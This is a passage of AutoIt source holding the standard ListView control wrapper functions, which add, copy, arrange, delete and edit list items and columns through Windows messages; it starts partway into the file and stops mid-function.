  4495. Func __array_getnext($in, $ir, ByRef $ileft, $itotal, ByRef $aidx)
  4496.     If $ileft == $itotal Then
  4497.         $ileft -= 1
  4498.         Return
  4499.     EndIf
  4500.     Local $i = $ir - 1
  4501.     While $aidx[$i] == $in - $ir + $i
  4502.         $i -= 1
  4503.     WEnd
  4504.     $aidx[$i] += 1
  4505.     For $j = $i + 1 To $ir - 1
  4506.         $aidx[$j] = $aidx[$i] + $j - $i
  4507.     Next
  4508.     $ileft -= 1
  4509. EndFunc
  4510.  
  4511. Global $_lv_ghlastwnd
  4512. Global $debug_lv = False
  4513. Global $illistviewsortinfosize = 11
  4514. Global $alistviewsortinfo[1][$illistviewsortinfosize]
  4515. Global Const $__listviewconstant_classname = "SysListView32"
  4516. Global Const $__listviewconstant_ws_maximizebox = 65536
  4517. Global Const $__listviewconstant_ws_minimizebox = 131072
  4518. Global Const $__listviewconstant_gui_rundefmsg = "GUI_RUNDEFMSG"
  4519. Global Const $__listviewconstant_wm_setredraw = 11
  4520. Global Const $__listviewconstant_wm_setfont = 48
  4521. Global Const $__listviewconstant_wm_notify = 78
  4522. Global Const $__listviewconstant_default_gui_font = 17
  4523. Global Const $__listviewconstant_ild_transparent = 1
  4524. Global Const $__listviewconstant_ild_blend25 = 2
  4525. Global Const $__listviewconstant_ild_blend50 = 4
  4526. Global Const $__listviewconstant_ild_mask = 16
  4527. Global Const $__listviewconstant_vk_down = 40
  4528. Global Const $__listviewconstant_vk_end = 35
  4529. Global Const $__listviewconstant_vk_home = 36
  4530. Global Const $__listviewconstant_vk_left = 37
  4531. Global Const $__listviewconstant_vk_next = 34
  4532. Global Const $__listviewconstant_vk_prior = 33
  4533. Global Const $__listviewconstant_vk_right = 39
  4534. Global Const $__listviewconstant_vk_up = 38
  4535. Global Const $taglvbkimage = "ulong Flags;hwnd hBmp;ptr Image;uint ImageMax;int XOffPercent;int YOffPercent"
  4536. Global Const $taglvcolumn = "uint Mask;int Fmt;int CX;ptr Text;int TextMax;int SubItem;int Image;int Order;int cxMin;int cxDefault;int cxIdeal"
  4537. Global Const $taglvgroup = "uint Size;uint Mask;ptr Header;int HeaderMax;ptr Footer;int FooterMax;int GroupID;uint StateMask;uint State;uint Align;" & "ptr  pszSubtitle;uint cchSubtitle;ptr pszTask;uint cchTask;ptr pszDescriptionTop;uint cchDescriptionTop;ptr pszDescriptionBottom;" & "uint cchDescriptionBottom;int iTitleImage;int iExtendedImage;int iFirstItem;uint cItems;ptr pszSubsetTitle;uint cchSubsetTitle"
  4538. Global Const $taglvinsertmark = "uint Size;dword Flags;int Item;dword Reserved"
  4539. Global Const $taglvsetinfotip = "uint Size;dword Flags;ptr Text;int Item;int SubItem"
  4540.  
  4541. Func _guictrllistview_addarray($hwnd, ByRef $aitems)
  4542.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  4543.     Local $funicode = _guictrllistview_getunicodeformat($hwnd)
  4544.     Local $titem = DllStructCreate($taglvitem)
  4545.     Local $tbuffer
  4546.     If $funicode Then
  4547.         $tbuffer = DllStructCreate("wchar Text[4096]")
  4548.     Else
  4549.         $tbuffer = DllStructCreate("char Text[4096]")
  4550.     EndIf
  4551.     DllStructSetData($titem, "Mask", $lvif_text)
  4552.     DllStructSetData($titem, "Text", DllStructGetPtr($tbuffer))
  4553.     DllStructSetData($titem, "TextMax", 4096)
  4554.     Local $ilastitem = _guictrllistview_getitemcount($hwnd)
  4555.     _guictrllistview_beginupdate($hwnd)
  4556.     If IsHWnd($hwnd) Then
  4557.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  4558.             For $ii = 0 To UBound($aitems) - 1
  4559.                 DllStructSetData($titem, "Item", $ii)
  4560.                 DllStructSetData($titem, "SubItem", 0)
  4561.                 DllStructSetData($tbuffer, "Text", $aitems[$ii][0])
  4562.                 _sendmessage($hwnd, $lvm_insertitemw, 0, $titem, 0, "wparam", "struct*")
  4563.                 For $ij = 1 To UBound($aitems, 2) - 1
  4564.                     DllStructSetData($titem, "SubItem", $ij)
  4565.                     DllStructSetData($tbuffer, "Text", $aitems[$ii][$ij])
  4566.                     _sendmessage($hwnd, $lvm_setitemw, 0, $titem, 0, "wparam", "struct*")
  4567.                 Next
  4568.             Next
  4569.         Else
  4570.             Local $ibuffer = DllStructGetSize($tbuffer)
  4571.             Local $iitem = DllStructGetSize($titem)
  4572.             Local $tmemmap
  4573.             Local $pmemory = _meminit($hwnd, $iitem + $ibuffer, $tmemmap)
  4574.             Local $ptext = $pmemory + $iitem
  4575.             DllStructSetData($titem, "Text", $ptext)
  4576.             For $ii = 0 To UBound($aitems) - 1
  4577.                 DllStructSetData($titem, "Item", $ii + $ilastitem)
  4578.                 DllStructSetData($titem, "SubItem", 0)
  4579.                 DllStructSetData($tbuffer, "Text", $aitems[$ii][0])
  4580.                 _memwrite($tmemmap, $titem, $pmemory, $iitem)
  4581.                 _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
  4582.                 If $funicode Then
  4583.                     _sendmessage($hwnd, $lvm_insertitemw, 0, $pmemory, 0, "wparam", "ptr")
  4584.                 Else
  4585.                     _sendmessage($hwnd, $lvm_insertitema, 0, $pmemory, 0, "wparam", "ptr")
  4586.                 EndIf
  4587.                 For $ij = 1 To UBound($aitems, 2) - 1
  4588.                     DllStructSetData($titem, "SubItem", $ij)
  4589.                     DllStructSetData($tbuffer, "Text", $aitems[$ii][$ij])
  4590.                     _memwrite($tmemmap, $titem, $pmemory, $iitem)
  4591.                     _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
  4592.                     If $funicode Then
  4593.                         _sendmessage($hwnd, $lvm_setitemw, 0, $pmemory, 0, "wparam", "ptr")
  4594.                     Else
  4595.                         _sendmessage($hwnd, $lvm_setitema, 0, $pmemory, 0, "wparam", "ptr")
  4596.                     EndIf
  4597.                 Next
  4598.             Next
  4599.             _memfree($tmemmap)
  4600.         EndIf
  4601.     Else
  4602.         Local $pitem = DllStructGetPtr($titem)
  4603.         For $ii = 0 To UBound($aitems) - 1
  4604.             DllStructSetData($titem, "Item", $ii + $ilastitem)
  4605.             DllStructSetData($titem, "SubItem", 0)
  4606.             DllStructSetData($tbuffer, "Text", $aitems[$ii][0])
  4607.             If $funicode Then
  4608.                 GUICtrlSendMsg($hwnd, $lvm_insertitemw, 0, $pitem)
  4609.             Else
  4610.                 GUICtrlSendMsg($hwnd, $lvm_insertitema, 0, $pitem)
  4611.             EndIf
  4612.             For $ij = 1 To UBound($aitems, 2) - 1
  4613.                 DllStructSetData($titem, "SubItem", $ij)
  4614.                 DllStructSetData($tbuffer, "Text", $aitems[$ii][$ij])
  4615.                 If $funicode Then
  4616.                     GUICtrlSendMsg($hwnd, $lvm_setitemw, 0, $pitem)
  4617.                 Else
  4618.                     GUICtrlSendMsg($hwnd, $lvm_setitema, 0, $pitem)
  4619.                 EndIf
  4620.             Next
  4621.         Next
  4622.     EndIf
  4623.     _guictrllistview_endupdate($hwnd)
  4624. EndFunc
  4625.  
  4626. Func _guictrllistview_addcolumn($hwnd, $stext, $iwidth = 50, $ialign = -1, $iimage = -1, $fonright = False)
  4627.     Return _guictrllistview_insertcolumn($hwnd, _guictrllistview_getcolumncount($hwnd), $stext, $iwidth, $ialign, $iimage, $fonright)
  4628. EndFunc
  4629.  
  4630. Func _guictrllistview_additem($hwnd, $stext, $iimage = -1, $iparam = 0)
  4631.     Return _guictrllistview_insertitem($hwnd, $stext, -1, $iimage, $iparam)
  4632. EndFunc
  4633.  
  4634. Func _guictrllistview_addsubitem($hwnd, $iindex, $stext, $isubitem, $iimage = -1)
  4635.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  4636.     Local $funicode = _guictrllistview_getunicodeformat($hwnd)
  4637.     Local $ibuffer = StringLen($stext) + 1
  4638.     Local $tbuffer
  4639.     If $funicode Then
  4640.         $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
  4641.         $ibuffer *= 2
  4642.     Else
  4643.         $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
  4644.     EndIf
  4645.     Local $pbuffer = DllStructGetPtr($tbuffer)
  4646.     Local $titem = DllStructCreate($taglvitem)
  4647.     Local $imask = $lvif_text
  4648.     If $iimage <> -1 Then $imask = BitOR($imask, $lvif_image)
  4649.     DllStructSetData($tbuffer, "Text", $stext)
  4650.     DllStructSetData($titem, "Mask", $imask)
  4651.     DllStructSetData($titem, "Item", $iindex)
  4652.     DllStructSetData($titem, "SubItem", $isubitem)
  4653.     DllStructSetData($titem, "Image", $iimage)
  4654.     Local $iret
  4655.     If IsHWnd($hwnd) Then
  4656.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  4657.             DllStructSetData($titem, "Text", $pbuffer)
  4658.             $iret = _sendmessage($hwnd, $lvm_setitemw, 0, $titem, 0, "wparam", "struct*")
  4659.         Else
  4660.             Local $iitem = DllStructGetSize($titem)
  4661.             Local $tmemmap
  4662.             Local $pmemory = _meminit($hwnd, $iitem + $ibuffer, $tmemmap)
  4663.             Local $ptext = $pmemory + $iitem
  4664.             DllStructSetData($titem, "Text", $ptext)
  4665.             _memwrite($tmemmap, $titem, $pmemory, $iitem)
  4666.             _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
  4667.             If $funicode Then
  4668.                 $iret = _sendmessage($hwnd, $lvm_setitemw, 0, $pmemory, 0, "wparam", "ptr")
  4669.             Else
  4670.                 $iret = _sendmessage($hwnd, $lvm_setitema, 0, $pmemory, 0, "wparam", "ptr")
  4671.             EndIf
  4672.             _memfree($tmemmap)
  4673.         EndIf
  4674.     Else
  4675.         Local $pitem = DllStructGetPtr($titem)
  4676.         DllStructSetData($titem, "Text", $pbuffer)
  4677.         If $funicode Then
  4678.             $iret = GUICtrlSendMsg($hwnd, $lvm_setitemw, 0, $pitem)
  4679.         Else
  4680.             $iret = GUICtrlSendMsg($hwnd, $lvm_setitema, 0, $pitem)
  4681.         EndIf
  4682.     EndIf
  4683.     Return $iret <> 0
  4684. EndFunc
  4685.  
  4686. Func _guictrllistview_approximateviewheight($hwnd, $icount = -1, $icx = -1, $icy = -1)
  4687.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  4688.     If IsHWnd($hwnd) Then
  4689.         Return BitShift((_sendmessage($hwnd, $lvm_approximateviewrect, $icount, _winapi_makelong($icx, $icy))), 16)
  4690.     Else
  4691.         Return BitShift((GUICtrlSendMsg($hwnd, $lvm_approximateviewrect, $icount, _winapi_makelong($icx, $icy))), 16)
  4692.     EndIf
  4693. EndFunc
  4694.  
  4695. Func _guictrllistview_approximateviewrect($hwnd, $icount = -1, $icx = -1, $icy = -1)
  4696.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  4697.     Local $iview
  4698.     If IsHWnd($hwnd) Then
  4699.         $iview = _sendmessage($hwnd, $lvm_approximateviewrect, $icount, _winapi_makelong($icx, $icy))
  4700.     Else
  4701.         $iview = GUICtrlSendMsg($hwnd, $lvm_approximateviewrect, $icount, _winapi_makelong($icx, $icy))
  4702.     EndIf
  4703.     Local $aview[2]
  4704.     $aview[0] = BitAND($iview, 65535)
  4705.     $aview[1] = BitShift($iview, 16)
  4706.     Return $aview
  4707. EndFunc
  4708.  
  4709. Func _guictrllistview_approximateviewwidth($hwnd, $icount = -1, $icx = -1, $icy = -1)
  4710.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  4711.     If IsHWnd($hwnd) Then
  4712.         Return BitAND((_sendmessage($hwnd, $lvm_approximateviewrect, $icount, _winapi_makelong($icx, $icy))), 65535)
  4713.     Else
  4714.         Return BitAND((GUICtrlSendMsg($hwnd, $lvm_approximateviewrect, $icount, _winapi_makelong($icx, $icy))), 65535)
  4715.     EndIf
  4716. EndFunc
  4717.  
  4718. Func _guictrllistview_arrange($hwnd, $iarrange = 0)
  4719.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  4720.     Local $aarrange[4] = [$lva_default, $lva_alignleft, $lva_aligntop, $lva_snaptogrid]
  4721.     If IsHWnd($hwnd) Then
  4722.         Return _sendmessage($hwnd, $lvm_arrange, $aarrange[$iarrange]) <> 0
  4723.     Else
  4724.         Return GUICtrlSendMsg($hwnd, $lvm_arrange, $aarrange[$iarrange], 0) <> 0
  4725.     EndIf
  4726. EndFunc
  4727.  
  4728. Func __guictrllistview_arraydelete(ByRef $avarray, $ielement)
  4729.     If NOT IsArray($avarray) Then Return SetError(1, 0, "")
  4730.     Local $iupper = UBound($avarray)
  4731.     If $iupper = 1 Then
  4732.         SetError(2)
  4733.         Return ""
  4734.     EndIf
  4735.     Local $avnewarray[$iupper - 1][$illistviewsortinfosize]
  4736.     $avnewarray[0][0] = $avarray[0][0]
  4737.     If $ielement < 0 Then
  4738.         $ielement = 0
  4739.     EndIf
  4740.     If $ielement > ($iupper - 1) Then
  4741.         $ielement = ($iupper - 1)
  4742.     EndIf
  4743.     If $ielement > 0 Then
  4744.         For $icntr = 0 To $ielement - 1
  4745.             For $x = 1 To $illistviewsortinfosize - 1
  4746.                 $avnewarray[$icntr][$x] = $avarray[$icntr][$x]
  4747.             Next
  4748.         Next
  4749.     EndIf
  4750.     If $ielement < ($iupper - 1) Then
  4751.         For $icntr = ($ielement + 1) To ($iupper - 1)
  4752.             For $x = 1 To $illistviewsortinfosize - 1
  4753.                 $avnewarray[$icntr - 1][$x] = $avarray[$icntr][$x]
  4754.             Next
  4755.         Next
  4756.     EndIf
  4757.     $avarray = $avnewarray
  4758.     SetError(0)
  4759.     Return 1
  4760. EndFunc
  4761.  
  4762. Func _guictrllistview_beginupdate($hwnd)
  4763.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  4764.     If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  4765.     Return _sendmessage($hwnd, $__listviewconstant_wm_setredraw) = 0
  4766. EndFunc
  4767.  
  4768. Func _guictrllistview_canceleditlabel($hwnd)
  4769.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  4770.     If IsHWnd($hwnd) Then
  4771.         _sendmessage($hwnd, $lvm_canceleditlabel)
  4772.     Else
  4773.         GUICtrlSendMsg($hwnd, $lvm_canceleditlabel, 0, 0)
  4774.     EndIf
  4775. EndFunc
  4776.  
  4777. Func _guictrllistview_clickitem($hwnd, $iindex, $sbutton = "left", $fmove = False, $iclicks = 1, $ispeed = 1)
  4778.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  4779.     If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  4780.     _guictrllistview_ensurevisible($hwnd, $iindex, False)
  4781.     Local $trect = _guictrllistview_getitemrectex($hwnd, $iindex, $lvir_label)
  4782.     Local $tpoint = _winapi_pointfromrect($trect, True)
  4783.     $tpoint = _winapi_clienttoscreen($hwnd, $tpoint)
  4784.     Local $ix, $iy
  4785.     _winapi_getxyfrompoint($tpoint, $ix, $iy)
  4786.     Local $imode = Opt("MouseCoordMode", 1)
  4787.     If NOT $fmove Then
  4788.         Local $apos = MouseGetPos()
  4789.         _winapi_showcursor(False)
  4790.         MouseClick($sbutton, $ix, $iy, $iclicks, $ispeed)
  4791.         MouseMove($apos[0], $apos[1], 0)
  4792.         _winapi_showcursor(True)
  4793.     Else
  4794.         MouseClick($sbutton, $ix, $iy, $iclicks, $ispeed)
  4795.     EndIf
  4796.     Opt("MouseCoordMode", $imode)
  4797. EndFunc
  4798.  
  4799. Func _guictrllistview_copyitems($hwnd_source, $hwnd_destination, $fdelflag = False)
  4800.     If $debug_lv Then
  4801.         __udf_validateclassname($hwnd_source, $__listviewconstant_classname)
  4802.         __udf_validateclassname($hwnd_destination, $__listviewconstant_classname)
  4803.     EndIf
  4804.     Local $a_indices, $titem = DllStructCreate($taglvitem), $iindex
  4805.     Local $cols = _guictrllistview_getcolumncount($hwnd_source)
  4806.     Local $items = _guictrllistview_getitemcount($hwnd_source)
  4807.     _guictrllistview_beginupdate($hwnd_source)
  4808.     _guictrllistview_beginupdate($hwnd_destination)
  4809.     If BitAND(_guictrllistview_getextendedlistviewstyle($hwnd_source), $lvs_ex_checkboxes) == $lvs_ex_checkboxes Then
  4810.         For $i = 0 To $items - 1
  4811.             If (_guictrllistview_getitemchecked($hwnd_source, $i)) Then
  4812.                 If IsArray($a_indices) Then
  4813.                     ReDim $a_indices[UBound($a_indices) + 1]
  4814.                 Else
  4815.                     Local $a_indices[2]
  4816.                 EndIf
  4817.                 $a_indices[0] = $a_indices[0] + 1
  4818.                 $a_indices[UBound($a_indices) - 1] = $i
  4819.             EndIf
  4820.         Next
  4821.         If (IsArray($a_indices)) Then
  4822.             For $i = 1 To $a_indices[0]
  4823.                 DllStructSetData($titem, "Mask", BitOR($lvif_groupid, $lvif_image, $lvif_indent, $lvif_param, $lvif_state))
  4824.                 DllStructSetData($titem, "Item", $a_indices[$i])
  4825.                 DllStructSetData($titem, "SubItem", 0)
  4826.                 DllStructSetData($titem, "StateMask", -1)
  4827.                 _guictrllistview_getitemex($hwnd_source, $titem)
  4828.                 $iindex = _guictrllistview_additem($hwnd_destination, _guictrllistview_getitemtext($hwnd_source, $a_indices[$i], 0), DllStructGetData($titem, "Image"))
  4829.                 _guictrllistview_setitemchecked($hwnd_destination, $iindex)
  4830.                 For $x = 1 To $cols - 1
  4831.                     DllStructSetData($titem, "Item", $a_indices[$i])
  4832.                     DllStructSetData($titem, "SubItem", $x)
  4833.                     _guictrllistview_getitemex($hwnd_source, $titem)
  4834.                     _guictrllistview_addsubitem($hwnd_destination, $iindex, _guictrllistview_getitemtext($hwnd_source, $a_indices[$i], $x), $x, DllStructGetData($titem, "Image"))
  4835.                 Next
  4836.             Next
  4837.             If $fdelflag Then
  4838.                 For $i = $a_indices[0] To 1 Step -1
  4839.                     _guictrllistview_deleteitem($hwnd_source, $a_indices[$i])
  4840.                 Next
  4841.             EndIf
  4842.         EndIf
  4843.     EndIf
  4844.     If (_guictrllistview_getselectedcount($hwnd_source)) Then
  4845.         $a_indices = _guictrllistview_getselectedindices($hwnd_source, 1)
  4846.         For $i = 1 To $a_indices[0]
  4847.             DllStructSetData($titem, "Mask", BitOR($lvif_groupid, $lvif_image, $lvif_indent, $lvif_param, $lvif_state))
  4848.             DllStructSetData($titem, "Item", $a_indices[$i])
  4849.             DllStructSetData($titem, "SubItem", 0)
  4850.             DllStructSetData($titem, "StateMask", -1)
  4851.             _guictrllistview_getitemex($hwnd_source, $titem)
  4852.             $iindex = _guictrllistview_additem($hwnd_destination, _guictrllistview_getitemtext($hwnd_source, $a_indices[$i], 0), DllStructGetData($titem, "Image"))
  4853.             For $x = 1 To $cols - 1
  4854.                 DllStructSetData($titem, "Item", $a_indices[$i])
  4855.                 DllStructSetData($titem, "SubItem", $x)
  4856.                 _guictrllistview_getitemex($hwnd_source, $titem)
  4857.                 _guictrllistview_addsubitem($hwnd_destination, $iindex, _guictrllistview_getitemtext($hwnd_source, $a_indices[$i], $x), $x, DllStructGetData($titem, "Image"))
  4858.             Next
  4859.         Next
  4860.         _guictrllistview_setitemselected($hwnd_source, -1, False)
  4861.         If $fdelflag Then
  4862.             For $i = $a_indices[0] To 1 Step -1
  4863.                 _guictrllistview_deleteitem($hwnd_source, $a_indices[$i])
  4864.             Next
  4865.         EndIf
  4866.     EndIf
  4867.     _guictrllistview_endupdate($hwnd_source)
  4868.     _guictrllistview_endupdate($hwnd_destination)
  4869. EndFunc
  4870.  
  4871. Func _guictrllistview_create($hwnd, $sheadertext, $ix, $iy, $iwidth = 150, $iheight = 150, $istyle = 13, $iexstyle = 0, $fcoinit = False)
  4872.     If NOT IsHWnd($hwnd) Then Return SetError(1, 0, 0)
  4873.     If NOT IsString($sheadertext) Then Return SetError(2, 0, 0)
  4874.     If $iwidth = -1 Then $iwidth = 150
  4875.     If $iheight = -1 Then $iheight = 150
  4876.     If $istyle = -1 Then $istyle = $lvs_default
  4877.     If $iexstyle = -1 Then $iexstyle = 0
  4878.     Local Const $s_ok = 0
  4879.     Local Const $s_false = 1
  4880.     Local Const $rpc_e_changed_mode = -2147417850
  4881.     Local Const $e_invalidarg = -2147024809
  4882.     Local Const $e_outofmemory = -2147024882
  4883.     Local Const $e_unexpected = -2147418113
  4884.     Local $separatorchar = Opt("GUIDataSeparatorChar")
  4885.     Local Const $coinit_apartmentthreaded = 2
  4886.     Local $str_len = StringLen($sheadertext)
  4887.     If $str_len Then $sheadertext = StringSplit($sheadertext, $separatorchar)
  4888.     $istyle = BitOR($__udfguiconstant_ws_child, $__udfguiconstant_ws_visible, $istyle)
  4889.     If $fcoinit Then
  4890.         Local $aresult = DllCall("ole32.dll", "long", "CoInitializeEx", "ptr", 0, "dword", $coinit_apartmentthreaded)
  4891.         If @error Then Return SetError(@error, @extended, 0)
  4892.         Switch $aresult[0]
  4893.             Case $s_ok
  4894.                 If $debug_lv Then __udf_debugprint("The COM library was initialized successfully on the calling thread.")
  4895.             Case $s_false
  4896.                 If $debug_lv Then __udf_debugprint("The COM library is already initialized on the calling thread.")
  4897.             Case $rpc_e_changed_mode
  4898.                 If $debug_lv Then __udf_debugprint("A previous call to CoInitializeEx specified a different concurrency model for the calling thread," & @LF & "-->or the thread that called CoInitializeEx currently belongs to the neutral threaded apartment.")
  4899.             Case $e_invalidarg
  4900.                 If $debug_lv Then __udf_debugprint("Invalid Arg")
  4901.             Case $e_outofmemory
  4902.                 If $debug_lv Then __udf_debugprint("Out of memory")
  4903.             Case $e_unexpected
  4904.                 If $debug_lv Then __udf_debugprint("Unexpected error")
  4905.         EndSwitch
  4906.     EndIf
  4907.     Local $nctrlid = __udf_getnextglobalid($hwnd)
  4908.     If @error Then Return SetError(@error, @extended, 0)
  4909.     Local $hlist = _winapi_createwindowex($iexstyle, $__listviewconstant_classname, "", $istyle, $ix, $iy, $iwidth, $iheight, $hwnd, $nctrlid)
  4910.     _sendmessage($hlist, $__listviewconstant_wm_setfont, _winapi_getstockobject($__listviewconstant_default_gui_font), True)
  4911.     If $str_len Then
  4912.         For $x = 1 To $sheadertext[0]
  4913.             _guictrllistview_insertcolumn($hlist, $x - 1, $sheadertext[$x], 75)
  4914.         Next
  4915.     EndIf
  4916.     Return $hlist
  4917. EndFunc
  4918.  
  4919. Func _guictrllistview_createdragimage($hwnd, $iindex)
  4920.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  4921.     Local $adrag[3]
  4922.     Local $tpoint = DllStructCreate($tagpoint)
  4923.     If IsHWnd($hwnd) Then
  4924.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  4925.             $adrag[0] = _sendmessage($hwnd, $lvm_createdragimage, $iindex, $tpoint, 0, "wparam", "struct*", "handle")
  4926.         Else
  4927.             Local $ipoint = DllStructGetSize($tpoint)
  4928.             Local $tmemmap
  4929.             Local $pmemory = _meminit($hwnd, $ipoint, $tmemmap)
  4930.             $adrag[0] = _sendmessage($hwnd, $lvm_createdragimage, $iindex, $pmemory, 0, "wparam", "ptr", "handle")
  4931.             _memread($tmemmap, $pmemory, $tpoint, $ipoint)
  4932.             _memfree($tmemmap)
  4933.         EndIf
  4934.     Else
  4935.         $adrag[0] = Ptr(GUICtrlSendMsg($hwnd, $lvm_createdragimage, $iindex, DllStructGetPtr($tpoint)))
  4936.     EndIf
  4937.     $adrag[1] = DllStructGetData($tpoint, "X")
  4938.     $adrag[2] = DllStructGetData($tpoint, "Y")
  4939.     Return $adrag
  4940. EndFunc
  4941.  
  4942. Func _guictrllistview_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight)
  4943.     If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  4944.     Return _winapi_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight)
  4945. EndFunc
  4946.  
  4947. Func _guictrllistview_deleteallitems($hwnd)
  4948.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  4949.     If _guictrllistview_getitemcount($hwnd) == 0 Then Return True
  4950.     If IsHWnd($hwnd) Then
  4951.         Return _sendmessage($hwnd, $lvm_deleteallitems) <> 0
  4952.     Else
  4953.         Local $ctrlid
  4954.         For $index = _guictrllistview_getitemcount($hwnd) - 1 To 0 Step -1
  4955.             $ctrlid = _guictrllistview_getitemparam($hwnd, $index)
  4956.             If $ctrlid Then GUICtrlDelete($ctrlid)
  4957.         Next
  4958.         If _guictrllistview_getitemcount($hwnd) == 0 Then Return True
  4959.     EndIf
  4960.     Return False
  4961. EndFunc
  4962.  
  4963. Func _guictrllistview_deletecolumn($hwnd, $icol)
  4964.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  4965.     If IsHWnd($hwnd) Then
  4966.         Return _sendmessage($hwnd, $lvm_deletecolumn, $icol) <> 0
  4967.     Else
  4968.         Return GUICtrlSendMsg($hwnd, $lvm_deletecolumn, $icol, 0) <> 0
  4969.     EndIf
  4970. EndFunc
  4971.  
  4972. Func _guictrllistview_deleteitem($hwnd, $iindex)
  4973.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  4974.     If IsHWnd($hwnd) Then
  4975.         Return _sendmessage($hwnd, $lvm_deleteitem, $iindex) <> 0
  4976.     Else
  4977.         Local $ctrlid = _guictrllistview_getitemparam($hwnd, $iindex)
  4978.         If $ctrlid Then Return GUICtrlDelete($ctrlid) <> 0
  4979.     EndIf
  4980.     Return False
  4981. EndFunc
  4982.  
  4983. Func _guictrllistview_deleteitemsselected($hwnd)
  4984.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  4985.     Local $itemcount = _guictrllistview_getitemcount($hwnd)
  4986.     If (_guictrllistview_getselectedcount($hwnd) == $itemcount) Then
  4987.         Return _guictrllistview_deleteallitems($hwnd)
  4988.     Else
  4989.         Local $items = _guictrllistview_getselectedindices($hwnd, 1)
  4990.         If NOT IsArray($items) Then Return SetError($lv_err, $lv_err, 0)
  4991.         _guictrllistview_setitemselected($hwnd, -1, False)
  4992.         For $i = $items[0] To 1 Step -1
  4993.             If NOT _guictrllistview_deleteitem($hwnd, $items[$i]) Then Return False
  4994.         Next
  4995.         Return True
  4996.     EndIf
  4997. EndFunc
  4998.  
  4999. Func _guictrllistview_destroy(ByRef $hwnd)
  5000.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5001.     If NOT _winapi_isclassname($hwnd, $__listviewconstant_classname) Then Return SetError(2, 2, False)
  5002.     Local $destroyed = 0
  5003.     If IsHWnd($hwnd) Then
  5004.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  5005.             Local $nctrlid = _winapi_getdlgctrlid($hwnd)
  5006.             Local $hparent = _winapi_getparent($hwnd)
  5007.             $destroyed = _winapi_destroywindow($hwnd)
  5008.             Local $iret = __udf_freeglobalid($hparent, $nctrlid)
  5009.             If NOT $iret Then
  5010.             EndIf
  5011.         Else
  5012.             Return SetError(1, 1, False)
  5013.         EndIf
  5014.     Else
  5015.         $destroyed = GUICtrlDelete($hwnd)
  5016.     EndIf
  5017.     If $destroyed Then $hwnd = 0
  5018.     Return $destroyed <> 0
  5019. EndFunc
  5020.  
  5021. Func __guictrllistview_draw($hwnd, $iindex, $hdc, $ix, $iy, $istyle = 0)
  5022.     Local $iflags = 0
  5023.     If BitAND($istyle, 1) <> 0 Then $iflags = BitOR($iflags, $__listviewconstant_ild_transparent)
  5024.     If BitAND($istyle, 2) <> 0 Then $iflags = BitOR($iflags, $__listviewconstant_ild_blend25)
  5025.     If BitAND($istyle, 4) <> 0 Then $iflags = BitOR($iflags, $__listviewconstant_ild_blend50)
  5026.     If BitAND($istyle, 8) <> 0 Then $iflags = BitOR($iflags, $__listviewconstant_ild_mask)
  5027.     Local $aresult = DllCall("ComCtl32.dll", "bool", "ImageList_Draw", "handle", $hwnd, "int", $iindex, "handle", $hdc, "int", $ix, "int", $iy, "uint", $iflags)
  5028.     If @error Then Return SetError(@error, @extended, False)
  5029.     Return $aresult[0]
  5030. EndFunc
  5031.  
  5032. Func _guictrllistview_drawdragimage(ByRef $hwnd, ByRef $adrag)
  5033.     Local $hdc = _winapi_getwindowdc($hwnd)
  5034.     Local $tpoint = _winapi_getmousepos(True, $hwnd)
  5035.     _winapi_invalidaterect($hwnd)
  5036.     __guictrllistview_draw($adrag[0], 0, $hdc, DllStructGetData($tpoint, "X"), DllStructGetData($tpoint, "Y"))
  5037.     _winapi_releasedc($hwnd, $hdc)
  5038. EndFunc
  5039.  
  5040. Func _guictrllistview_editlabel($hwnd, $iindex)
  5041.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5042.     Local $funicode = _guictrllistview_getunicodeformat($hwnd)
  5043.     Local $aresult
  5044.     If IsHWnd($hwnd) Then
  5045.         $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $hwnd)
  5046.         If @error Then Return SetError(@error, @extended, 0)
  5047.         If $aresult = 0 Then Return 0
  5048.         If $funicode Then
  5049.             Return _sendmessage($hwnd, $lvm_editlabelw, $iindex, 0, 0, "wparam", "lparam", "hwnd")
  5050.         Else
  5051.             Return _sendmessage($hwnd, $lvm_editlabel, $iindex, 0, 0, "wparam", "lparam", "hwnd")
  5052.         EndIf
  5053.     Else
  5054.         $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", GUICtrlGetHandle($hwnd))
  5055.         If @error Then Return SetError(@error, @extended, 0)
  5056.         If $aresult = 0 Then Return 0
  5057.         If $funicode Then
  5058.             Return HWnd(GUICtrlSendMsg($hwnd, $lvm_editlabelw, $iindex, 0))
